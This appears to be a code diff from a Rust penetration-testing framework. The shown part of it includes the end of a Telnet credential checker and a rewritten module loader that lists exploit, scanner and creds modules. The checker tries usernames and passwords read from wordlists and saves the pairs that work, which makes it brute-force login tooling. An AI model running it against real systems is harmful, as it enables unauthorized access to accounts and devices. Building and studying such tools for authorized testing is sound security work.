||||
|
||||
for _ in 0..10 {
|
||||
let event = connection.read().context("Failed to read from Telnet")?;
|
||||
|
||||
match event {
|
||||
Event::Data(buffer) => {
|
||||
let output = String::from_utf8_lossy(&buffer).to_lowercase();
|
||||
|
||||
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
|
||||
connection.write(format!("{}\n", username).as_bytes())?;
|
||||
login_prompt_seen = true;
|
||||
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
|
||||
connection.write(format!("{}\n", password).as_bytes())?;
|
||||
pass_prompt_seen = true;
|
||||
} else if pass_prompt_seen {
|
||||
// Look for signs of successful or failed login
|
||||
if output.contains("incorrect")
|
||||
|| output.contains("failed")
|
||||
|| output.contains("denied")
|
||||
{
|
||||
return Ok(false);
|
||||
} else if output.contains("last login")
|
||||
|| output.contains("$")
|
||||
|| output.contains("welcome")
|
||||
|| output.contains("#")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Unable to open {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u, p) in creds {
|
||||
writeln!(file, "{}:{}", u, p)?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> String {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().unwrap();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input).unwrap();
|
||||
input.trim().to_string()
|
||||
}
|
||||
@@ -1 +1 @@
|
||||
pub mod sample_cred_check;
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
|
||||
+67
-19
@@ -1,25 +1,73 @@
|
||||
use std::collections::HashSet;
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::path::{Path,};
|
||||
|
||||
/// Check if a module path is valid (exploits/..., scanners/..., creds/...)
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
// For demonstration, we only hard-code the known modules
|
||||
let known_modules = [
|
||||
"exploits/sample_exploit",
|
||||
"scanners/sample_scanner",
|
||||
"creds/sample_cred_check",
|
||||
];
|
||||
known_modules.contains(&module_path)
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Recursively list .rs files up to a certain depth
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
if depth > MAX_DEPTH || !dir.exists() {
|
||||
return modules;
|
||||
}
|
||||
|
||||
if let Ok(entries) = fs::read_dir(dir) {
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
|
||||
if path.is_dir() {
|
||||
modules.extend(collect_module_paths(&path, depth + 1));
|
||||
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
let relative_path = path
|
||||
.strip_prefix("src/modules")
|
||||
.unwrap_or(&path)
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // For Windows compatibility
|
||||
|
||||
modules.push(relative_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
modules
|
||||
}
|
||||
|
||||
/// List all known modules
|
||||
/// Dynamically checks if a module path exists at any depth
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
modules.iter().any(|m| m == module_path)
|
||||
}
|
||||
|
||||
/// Lists all available modules recursively under src/modules/
|
||||
pub fn list_all_modules() {
|
||||
let modules = [
|
||||
"exploits/sample_exploit",
|
||||
"scanners/sample_scanner",
|
||||
"creds/sample_cred_check",
|
||||
];
|
||||
println!("Available modules:");
|
||||
for m in modules {
|
||||
println!(" {}", m);
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
if modules.is_empty() {
|
||||
println!("{}", "No modules found.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let mut grouped = std::collections::BTreeMap::new();
|
||||
|
||||
for module in modules {
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
let category = parts.get(0).unwrap_or(&"Other").to_string();
|
||||
grouped
|
||||
.entry(category)
|
||||
.or_insert_with(Vec::new)
|
||||
.push(module.clone());
|
||||
}
|
||||
|
||||
for (category, paths) in grouped {
|
||||
println!("\n{}:", category.blue().bold());
|
||||
for path in paths {
|
||||
println!(" - {}", path.green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user